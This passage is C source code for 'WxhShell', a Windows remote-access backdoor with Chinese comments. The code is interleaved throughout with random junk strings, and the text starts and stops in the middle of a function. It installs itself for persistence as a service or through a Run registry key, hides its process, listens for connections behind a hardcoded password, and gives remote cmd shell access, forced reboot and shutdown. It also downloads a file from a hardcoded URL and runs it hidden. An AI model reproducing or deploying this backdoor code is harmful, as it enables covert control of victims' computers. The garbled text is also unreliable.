MOB4t| Zs/-/C| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6_" n if(NULL == hInst ) return 0; ]t!v`TH <2@t~9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6R^F^<< g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l-W)?d NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :I7qw0? [r>hKZU2 if (!NtQueryInformationProcess) return 0; ^k%+ao l
opl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gzi=+oJ|4 if(!hProcess) return 0; lwt,w<E$ )|v du if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G3|23G.~)( En7+fQ CloseHandle(hProcess); 0^Ldw)C" ESoqmCJjb: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i#YDdz if(hProcess==NULL) return 0; <H]PP6_g: ;DX{+Z[ HMODULE hMod; Bn8&~ char procName[255]; !lzj.|7=1 unsigned long cbNeeded; "24d:vf\ Ay6T*Nu` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9nQyPb6 ApSseBhh CloseHandle(hProcess); P\WHM( >DY/CcG\P if(strstr(procName,"services")) return 1; // 以服务启动 $I-iq
@ 3F;0a ;[ return 0; // 注册表启动 m`zd0IRTP }
VJK4C8] 0P$19TN // 主模块 hU( int StartWxhshell(LPSTR lpCmdLine) NM9ViYm>P {
Rq| 5%;1 SOCKET wsl; (421$w,B% BOOL val=TRUE; M6cybEk` int port=0; n5xG4.#G struct sockaddr_in door; anz7ae&P'K `::j\3B&Y- if(wscfg.ws_autoins) Install(); pvt/{ #q34>}O< O port=atoi(lpCmdLine); 6T~+vT Kg2@]J9m if(port<=0) port=wscfg.ws_port; Vt zSM%= n3J,`1*ct WSADATA data; ;QuxTmWp^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PNLlJlYlP 24InwR|^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OdyL
j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A|IPQ= door.sin_family = AF_INET; jyg>'"W door.sin_addr.s_addr = inet_addr("127.0.0.1"); gHUW1E door.sin_port = htons(port); >@4Ds"Ye"O a&[[@1OY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yT3K 2A closesocket(wsl); i)@vHh82 return 1; M[b~5L+S } (1{OQ0N+x A+Je?3/. if(listen(wsl,2) == INVALID_SOCKET) { ocW`sE?EED closesocket(wsl); UBM8l return 1; .O~rAu*K } b,HXD~= Wxhshell(wsl); +A,cdi9z WSACleanup(); z&GGa`T" mNe908Yw return 0; m|cRj{xZF jvd3_L-@E< } 0~<t :q! VasQ/ // 以NT服务方式启动 cv_O2Q4,@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cP/( h { ZMyd+C_P2 DWORD status = 0; c:z}$DK&' DWORD specificError = 0xfffffff; Y=pRenV' E.VEW;= serviceStatus.dwServiceType = SERVICE_WIN32; \<%FZT_4~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vyx&MU.-J serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jq/{|<0 serviceStatus.dwWin32ExitCode = 0; &xlOsr/n serviceStatus.dwServiceSpecificExitCode = 0; YRl4?}r2 serviceStatus.dwCheckPoint = 0; v Ma$JPauI serviceStatus.dwWaitHint = 0; 71&`6# rUiUv(q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =g@hh)3wP if (hServiceStatusHandle==0) return; U/(R_U>= yCg>]6B status = GetLastError(); H<b4B$/ if (status!=NO_ERROR) ~}~ yR*K% { \BsvUGd serviceStatus.dwCurrentState = SERVICE_STOPPED; WWTJ%Rd| serviceStatus.dwCheckPoint = 0; yNx"Ey dk` serviceStatus.dwWaitHint = 0; 1^;&?E serviceStatus.dwWin32ExitCode = status; <* PjG}Z. serviceStatus.dwServiceSpecificExitCode = specificError; xi\uLu?i SetServiceStatus(hServiceStatusHandle, &serviceStatus); hi]\M)l&x return; 6B?1d
/8V } 0j/i):@ /_bM~g serviceStatus.dwCurrentState = SERVICE_RUNNING; qn\>(& serviceStatus.dwCheckPoint = 0; GWShv\c} serviceStatus.dwWaitHint = 0; B T{({3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uqy~hY } 9>@"W- 1G8t=IA%D // 处理NT服务事件,比如:启动、停止 n_] OYG>U VOID WINAPI NTServiceHandler(DWORD fdwControl) |om3* ]7 { ~Uz|sQ*G switch(fdwControl) KQqQ@D&n { tX}Fb0y case SERVICE_CONTROL_STOP: `+@%l*TQ serviceStatus.dwWin32ExitCode = 0; [c6_6q As serviceStatus.dwCurrentState = SERVICE_STOPPED; }KkH7XksF serviceStatus.dwCheckPoint = 0; F{<rIR serviceStatus.dwWaitHint = 0; }@A~a`9g { .~8IW,[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); &9g#Vq% } Vk~}^;`Y return; G}~b case SERVICE_CONTROL_PAUSE: d{GXFT;0 serviceStatus.dwCurrentState = SERVICE_PAUSED; WI'csM;M# break; 4 ]8PF case SERVICE_CONTROL_CONTINUE: CUw
9aH serviceStatus.dwCurrentState = SERVICE_RUNNING; 1r w>gR break; }#u}{ case SERVICE_CONTROL_INTERROGATE: @49^WY break; 9k"nx ," }; ||,;07 SetServiceStatus(hServiceStatusHandle, &serviceStatus); &c@I4RV|q } ZNA?`Z)f o_$r*Z|HG // 标准应用程序主函数 RMrt4:-DI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !!K=v7M { ,|c_l) \S2'3SDd/ // 获取操作系统版本 Wj*6}N/ OsIsNt=GetOsVer(); )d1,}o GetModuleFileName(NULL,ExeFile,MAX_PATH); T@HozZ #QDV_ziE5 // 从命令行安装 Pr/&p0@aV if(strpbrk(lpCmdLine,"iI")) Install(); CC87<>V
nocH~bAf2 // 下载执行文件 !kKKJ~,; if(wscfg.ws_downexe) { )DLK<10 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y! 1NS WinExec(wscfg.ws_filenam,SW_HIDE); P?uKDON } V+K.'
J
^@ YvHn~gNPhs if(!OsIsNt) { +yea}uUE // 如果时win9x,隐藏进程并且设置为注册表启动 Rx<pV_|H, HideProc(); ?x/L"h&Kp StartWxhshell(lpCmdLine); ]ogy`O > } BR%: `uiQ< else (c_hX( if(StartFromService()) ^
pR& // 以服务方式启动 2I4P":q StartServiceCtrlDispatcher(DispatchTable); 1-[{4{R else ( jyJ-qe // 普通方式启动 xX>448= StartWxhshell(lpCmdLine); U)o8Tr 4'8.f5 return 0; / q!&I } aH#|LrdJ nBj7 Q!lW )T+htD) WL~`L!_. A =========================================== t2$:*PvE 3G&1. 8 8UZEC-K Te/)[I'Tn Y+7v~/K= Q'Tn+}B& " d$Xvax,C U\z+{]<< #include <stdio.h> ?0<3"2Db~ #include <string.h>
t|DYz#] #include <windows.h> >y@w-,1he #include <winsock2.h> K&h|r`W( #include <winsvc.h> ^YZ#P0 y #include <urlmon.h> lqs_7HhvRS /4f;Niem #pragma comment (lib, "Ws2_32.lib") 8|/YxF< #pragma comment (lib, "urlmon.lib") x/<.?[A #>V;ZV5" #define MAX_USER 100 // 最大客户端连接数 _8>"&1n #define BUF_SOCK 200 // sock buffer w$!n8Aqs #define KEY_BUFF 255 // 输入 buffer /L
4WWQ5 "8X+F% #define REBOOT 0 // 重启 'huLv(Uu #define SHUTDOWN 1 // 关机 RPWYm / u{r5`4
#define DEF_PORT 5000 // 监听端口 M>#{~zr >j?uI6Uw #define REG_LEN 16 // 注册表键长度 G#C)]4[n #define SVC_LEN 80 // NT服务名长度 hU{%x#8}lK U|QDV16f // 从dll定义API |g{AD` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 57}q'84 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sq'z<}o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P;/T`R=Vr" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '$VR_N\ ^b#E%Rd // wxhshell配置信息 ]=3O,\ struct WSCFG { J @fE") int ws_port; // 监听端口 4SrK]+| char ws_passstr[REG_LEN]; // 口令 k|D!0^HE[ int ws_autoins; // 安装标记, 1=yes 0=no VGq]id{*$ char ws_regname[REG_LEN]; // 注册表键名 %Z?
o] char ws_svcname[REG_LEN]; // 服务名 2P}RZvUd char ws_svcdisp[SVC_LEN]; // 服务显示名 GXl?Zg char ws_svcdesc[SVC_LEN]; // 服务描述信息 [`lAc V< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;rKYWj>IR int ws_downexe; // 下载执行标记, 1=yes 0=no AQ5v`xE4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ao!r6:&v$e char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5 $J Fqv5WoYVf }; F8I<4S @n(In$ // default Wxhshell configuration ^q`*!B9@ struct WSCFG wscfg={DEF_PORT, Vmc)or*# "xuhuanlingzhe", $%-?S]6) 1, Ymu=G3- "Wxhshell", 11sW$@xs
9 "Wxhshell", u/f&Wq/ "WxhShell Service", p3o?_ !Z "Wrsky Windows CmdShell Service", _u>>+6,p "Please Input Your Password: ", :6+~"7T 1, u"jnEKN0y "http://www.wrsky.com/wxhshell.exe", LayU)TIt "Wxhshell.exe" /["T#` }; ^d*>P|n*@e M)7enp) F. // 消息定义模块 Mm!saKT% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8E+l;2 char *msg_ws_prompt="\n\r? for help\n\r#>"; jlBCu(.,_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }t'^Au`X char *msg_ws_ext="\n\rExit."; fL;p^t u3 char *msg_ws_end="\n\rQuit."; ULjzhy+(8 char *msg_ws_boot="\n\rReboot..."; jHCKV char *msg_ws_poff="\n\rShutdown..."; |_*$+ char *msg_ws_down="\n\rSave to "; Kc0OLcu^d
P+0xi char *msg_ws_err="\n\rErr!"; [4j;FN Fa char *msg_ws_ok="\n\rOK!"; v3Yj2LSqx bB-v ar char ExeFile[MAX_PATH]; 3#[I_ int nUser = 0; MV}]i@V HANDLE handles[MAX_USER]; `%3p.~> int OsIsNt; ErC[Zh"'' N3<Jh SERVICE_STATUS serviceStatus; E6k&r} SERVICE_STATUS_HANDLE hServiceStatusHandle; YC<I|&" K7c8_g*>4= // 函数声明 _O%p{t'q< int Install(void); (SK5pU int Uninstall(void); k;5}@3iQ int DownloadFile(char *sURL, SOCKET wsh);
/GUuu int Boot(int flag); `t&;Yk]-L void HideProc(void); z%tu6_4j int GetOsVer(void); S+Yg!RrNqj int Wxhshell(SOCKET wsl); ;g
jp&g9Q void TalkWithClient(void *cs); 6,1|y%(f int CmdShell(SOCKET sock); C6~dN&q int StartFromService(void); /p0LtUMu int StartWxhshell(LPSTR lpCmdLine); us%RQ8=k zQ}N
mlk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !++62Lf VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8zWPb [Gy'0P(EQ // 数据结构和表定义 ~*[4DQ[\ SERVICE_TABLE_ENTRY DispatchTable[] = 5FI>T=QF { iGLYM- {wscfg.ws_svcname, NTServiceMain}, -d'|X`^nE {NULL, NULL} {2r7:nvR }; P*Sip?tdE z_@zMLs // 自我安装 FaE orQ int Install(void) o q)"1 { Els= :4 char svExeFile[MAX_PATH]; [uQZD1<q HKEY key; NfF:[qwh strcpy(svExeFile,ExeFile); d|RmU/) >:&p(eu)L0 // 如果是win9x系统,修改注册表设为自启动 0K0=Ob^(e if(!OsIsNt) { LB7I`W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uTGvXKL7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MPN=K|* RegCloseKey(key); 7,UFIHq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @!3^/D3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `|Z@UPHzG RegCloseKey(key); '/g+;^_cB return 0; zqr%7U } Cpv%s 1M } bGc|SF<V } 3>)BI(Wl else { PM!t"[@& $i~`vu* // 如果是NT以上系统,安装为系统服务 y/hvH"f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :~R
Fy?xRa if (schSCManager!=0) i!x5T%x_ { @|%ICG c SC_HANDLE schService = CreateService | V,jd ( ~j#6 goKn schSCManager, [(EH wscfg.ws_svcname, %MZDm&f>Kk wscfg.ws_svcdisp, *[:CbFE0y SERVICE_ALL_ACCESS, Yka&Kkw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \ZWmef SERVICE_AUTO_START, _J~ta. SERVICE_ERROR_NORMAL, @ ]wem svExeFile, ULmdt
NULL, {0WIDD NULL, 4Xk;Qd NULL, M`pTT5r NULL, oHd0
<TO NULL +gCy@_2; ); P Xn>x8z if (schService!=0)
0lr4d Y { i}F;fWZ` CloseServiceHandle(schService); )h_7 2 CloseServiceHandle(schSCManager); ]{+M>i[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [k7N+W8 strcat(svExeFile,wscfg.ws_svcname); fUKdC\WL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LY:?OGh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); | O+># RegCloseKey(key); qS}RFM5| return 0; BBE1}V!u
} j{Jc6U } ZfCr"aL CloseServiceHandle(schSCManager); gdFoTcHgO| } wDMB } 4m[C-NB!g cW\Y?x
return 1; Yk@s"qm3 } _QUu'zJ \If!5N // 自我卸载 8421-c6y> int Uninstall(void) jI2gi1,a { bW.zxQ: HKEY key; JKi@Kw ;4v}0N~. if(!OsIsNt) { P9mxY*K)%5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "q>I?UcZ RegDeleteValue(key,wscfg.ws_regname); 5J\|gZQF RegCloseKey(key); ;@YF}%!+W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~7 L)n RegDeleteValue(key,wscfg.ws_regname); h)l&K%4; RegCloseKey(key); Dw/Gha/ return 0; xnuv4Z}]t } mc=!X } IL2Gsj)M } O-!fOdX8_k else { Nw>T$RzS 9eN2)a/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VO;UV$$ if (schSCManager!=0) | ]!Ky[P { $x_52 j\j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,{ L;B if (schService!=0) f'`nx;@X { Re,$<9V if(DeleteService(schService)!=0) { s!;VUr\ CloseServiceHandle(schService); L8w76| CloseServiceHandle(schSCManager); E,D:D3O return 0; U>_\ } ,dj*p,J CloseServiceHandle(schService); CVSsB:H6e } /mBBeg^a CloseServiceHandle(schSCManager); 1s}NQ3 } 'UvS3]bSYW } fzFvfMAU R4~zL!7; return 1; JfP\7 } @+\S!o3m 8} ?Y;>s\ // 从指定url下载文件 4lh
int DownloadFile(char *sURL, SOCKET wsh) p-'6_\F.Ke { NzeI/f3K5 HRESULT hr; 'f?&EsIV? char seps[]= "/"; eFj6p< char *token; _z(5e char *file; Ad`[Rt']kI char myURL[MAX_PATH]; B`?N0t%X char myFILE[MAX_PATH]; .xLF}{u C=dx4U~
strcpy(myURL,sURL); '=Kof1 token=strtok(myURL,seps); C/CfjRzd while(token!=NULL) #?$'nya*u { X#kjt)W file=token; ZP63Alt token=strtok(NULL,seps); u_6BHsU } IzGB |1QbO`f/F GetCurrentDirectory(MAX_PATH,myFILE); BheEI;} strcat(myFILE, "\\"); R0hctT1j strcat(myFILE, file); 4`UL1)A] send(wsh,myFILE,strlen(myFILE),0); }@:QYTBi } send(wsh,"...",3,0); O{B
e )E~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); csdOIF if(hr==S_OK) +F7<5YW&( return 0; 3?*M{Y| else s*)41\V0 return 1; xf^<ec Bd[L6J) } a:-)+sgHw aZawBU.: // 系统电源模块 7Js>!KR int Boot(int flag) e\A(#l@g { 2%{YYT
HANDLE hToken; hM36QOdm TOKEN_PRIVILEGES tkp; `z?KL(rI =,AC%S_D~ if(OsIsNt) { gaw4NZd)0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hLyTUt~\L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WBw
M;S#% tkp.PrivilegeCount = 1; I| W'n-4Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =~\]3g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xb<DpBrk if(flag==REBOOT) { I NPYJ#% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^)hAVf~E return 0; }#ep}h
} #j^('K| else { >9.5-5" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `s>UU- 9 return 0; 4{*tn"y } |ilv|U V } L8bI0a]r"* else { OB I+<2`Oc if(flag==REBOOT) { 0~Iu7mPY if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) up3?$hUc. return 0; T}n}.JwU } 83
i1 else { Z@uTkqG) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eC>"my` return 0; 2<[eD`u } SLJ&{`"7 } 9@#h}E1$ QM[A;WBr7 return 1; })o~E } q:Y6fbt<7 CYPazOfj // win9x进程隐藏模块 (2 T#/$ void HideProc(void) t_I\P.aMA { 1jH7<%y 6WE&((r^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^s^JzFw if ( hKernel != NULL ) XOysgX0g { gf68iR.Gs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WCuzV7tw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E\]OySC%C$ FreeLibrary(hKernel); Y8)E]D } ~|CJsD/ F-BJe] return; N+CXOI=6x } &jV9* ?~"`^|d
// 获取操作系统版本 ^w:OS5 %R int GetOsVer(void) 5q|+p?C { 5:Yck< OSVERSIONINFO winfo; c Ndw9?Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .7
(DxN GetVersionEx(&winfo); j>0<#SYBu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?w+ QbT return 1; QP6z?j. else DR
k]{^C~ return 0; w`c0a&7 } \4h>2y K-J|/eB // 客户端句柄模块 |Z`M*.d+ int Wxhshell(SOCKET wsl) @gt)P4yE { )Qh>0T+( SOCKET wsh; cS<TmS! struct sockaddr_in client; Qw24/DJK DWORD myID; .UM<a
Ik N#(jK1`y while(nUser<MAX_USER) 8{R_6BS { ! jbEm8bt int nSize=sizeof(client); )!'n&UxPo$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )\{'fF if(wsh==INVALID_SOCKET) return 1; IK*oFo{C=K Y%<`;wK=^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UF@IBb}0 if(handles[nUser]==0) #*!+b closesocket(wsh); (Ij0AeJ# else ![^EsgEB* nUser++; z 0~j } x}tKewdOSe WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #|qm!aGs z^4KU\/JK return 0; / Zo~1q } `WH[DQ F\>oxttS1 // 关闭 socket ZlthYuJ void CloseIt(SOCKET wsh) j((hqJr { \,>_c closesocket(wsh); QJx9I_ nUser--; DdBxqkh ExitThread(0); n!GWqle } mJ)tHv"7 TE3*ktB{N // 客户端请求句柄 }qer void TalkWithClient(void *cs) rmOQ{2} { h^}_YaT\ l iw,O 6 SOCKET wsh=(SOCKET)cs; }o-|8P:Y char pwd[SVC_LEN]; `vudS? char cmd[KEY_BUFF]; +'-rTi\ char chr[1]; "Dyym<J int i,j; @ru<4`h |2z}Xm5\ while (nUser < MAX_USER) { jvu
N xN6>2e if(wscfg.ws_passstr) { wD`[5~C{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >G]? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i-`,/e~XT //ZeroMemory(pwd,KEY_BUFF); )))2fskZ i=0; +H7y/#e+3 while(i<SVC_LEN) { /:U1!9.y AlO,o[0 // 设置超时 S|HY+Z6n' fd_set FdRead; Ba<ngG
! struct timeval TimeOut; SU/G)&Mi FD_ZERO(&FdRead); ;t}'X[U FD_SET(wsh,&FdRead); +9RJ%i&Ec TimeOut.tv_sec=8; ~%`EeJwT TimeOut.tv_usec=0; |VK:2p^ u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .N5'.3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S#k{e72 * AWO0NWTB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PC|'yAN:
pwd=chr[0]; C5Xof|#p| if(chr[0]==0xd || chr[0]==0xa) { h%'
N hV pwd=0; qk&gA}qF break; sH%&+4!3 } s}wO7Df=+ i++; #zxd;;p3 } rsWQHHkO )]73S@P(= // 如果是非法用户,关闭 socket TZ'aNcGg if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^]VcxKU J } m$?.Yig? B~?c3:6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !}ilN 1> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {gsW(T>) 3!aEClRtq while(1) { |"Z-7@/k$i D ZVXz|g ZeroMemory(cmd,KEY_BUFF); 3)Zu[c[%'J Vb2\/e:k // 自动支持客户端 telnet标准 gt/!~f0r j=0; )!A 2> while(j<KEY_BUFF) { NEMEY7De2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rs2-94$!5 cmd[j]=chr[0]; M+0x;53nz if(chr[0]==0xa || chr[0]==0xd) { wazP,9W? cmd[j]=0; Wm(:P break; 6+iK!&+= } n'yl)HA~>` j++; #7o0dE;Kg9 } L?HF'5o `_GO=QQ // 下载文件
YZ<
NP if(strstr(cmd,"http://")) { 7aQn; send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6GzzGP^ if(DownloadFile(cmd,wsh)) :9`qogF> send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`s)ue else `y2ljIWJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -bA!PeI } >yKpM }6l{ else { kbhX?; <` x6ahZ switch(cmd[0]) { /ERNS/w Zi/-~')E // 帮助 6 Uw;C84! case '?': { ^!}F% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iS break; Ihg~Q4t } VHW`NP 5Jl // 安装 %K?iNe case 'i': { .fEwk if(Install()) Ukc'?p,* send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(YF5Xm6$h else FZ p<|t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n'?4.tb break; "U{,U`@? } r1G8]a gO // 卸载 oIb)
Rq!m case 'r': { Y
9i][ if(Uninstall()) < eQ[kM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5mavcle{4r else D#jX6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?L\z}0# break; @Dj:4 } c4 5?St // 显示 wxhshell 所在路径 @8zT'/$ case 'p': { dF
e4K" char svExeFile[MAX_PATH]; /PqUXF strcpy(svExeFile,"\n\r"); :G 5C ]'t strcat(svExeFile,ExeFile); 6R2uWv send(wsh,svExeFile,strlen(svExeFile),0); 4%7s259% break; e!Br>^8l } JT)k // 重启 :!O><eQw case 'b': { rz.IoQo send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3] ^' if(Boot(REBOOT)) <Oa9oM},d send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nd!c2` else { '#H")i closesocket(wsh); 6vobta^w ExitThread(0); "0-y*1/m } &SmXI5>Bo0 break; D0 ruTS } 9"ugz^uKt // 关机 3ji:O T case 'd': { OQFi.8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l.oBcg[ if(Boot(SHUTDOWN)) Cs4hgb| send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}@*Z>j:# else { <d"Gg/@a closesocket(wsh); -:SIS`0s ExitThread(0); ;SY.WfVA7 } WNF9#oN|oT break; 9p`r7: } O]{*(J/t // 获取shell a,n93-m(m case 's': { ?Y3@" rdR CmdShell(wsh); o&$hYy"<.L closesocket(wsh); 5UOk)rOf ExitThread(0); nxQ}&n break; T3z(k
la } ET-Vm >] // 退出 _-%d9@x case 'x': { M|r8KW~S) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sRq U]i8l CloseIt(wsh); Pp*}R2 break; ~@P )tl> } I4ilR$jg // 离开 Y Pszk5hn case 'q': { ezZph"& send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0S.?E.-&0 closesocket(wsh); "={L+di:M WSACleanup(); v!trsjb exit(1); 9":2"<'+ break; #ElejQ|? } uD(t`W" } "EH,J } FkB{ SCJ 1;Xgc@ // 提示信息 S$O,] @) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +(mL~td01 } dJl^ADX[@ } c7qwNs*f [H,u)8) return; 3eKQ<$w } }q'WC4. GuO`jz F // shell模块句柄 f1Zt?= int CmdShell(SOCKET sock) yd>}wHt { ?/d!R]3 STARTUPINFO si; wL2XNdo}< ZeroMemory(&si,sizeof(si)); C3S`}o. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =.b Y#4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $bGD%9
z PROCESS_INFORMATION ProcessInfo; I=[cZ;t char cmdline[]="cmd"; &&PgOFD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SRCOs1(EK9 return 0; %&<W(|U1< } 4*M@]J " p4wr`"Zz // 自身启动模式 g$3>~D int StartFromService(void) >}SRSqJu { JD~a UB% typedef struct a+?~;.i~ { y $V[_TN DWORD ExitStatus; ~>%DKJe DWORD PebBaseAddress; Zq*eX\#C DWORD AffinityMask; uA\J0"0;} DWORD BasePriority; \L[i9m| e ULONG UniqueProcessId; 5f{|"LG& ULONG InheritedFromUniqueProcessId; 8Rxc&`_X } PROCESS_BASIC_INFORMATION; #J$qa Ul Nn#u%xvJt PROCNTQSIP NtQueryInformationProcess; 9#rt:&xo0 Z@J.1SaB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5 =Z!hQ} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uix{" qI2'u % HANDLE hProcess; "l,UOv c PROCESS_BASIC_INFORMATION pbi; }.{}A(^YR 9;KJr[FQV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >;nS8{2o if(NULL == hInst ) return 0; )}-$A-p# %EI<@Ps8c g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sR*Nq5F#9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CBHc A'L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); arh@`'Q {4rQ7J4Ux if (!NtQueryInformationProcess) return 0; \0AiCMX[ ~7SH4Cr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J70D+ if(!hProcess) return 0; >o[|"oLO L2|aHI1'l if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U:lv^QPG }*kJ-q&0 CloseHandle(hProcess); X~RH^VYv z\.1>/Z= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nyhMnp#< if(hProcess==NULL) return 0; z $6JpG C6@t HMODULE hMod; T[.[
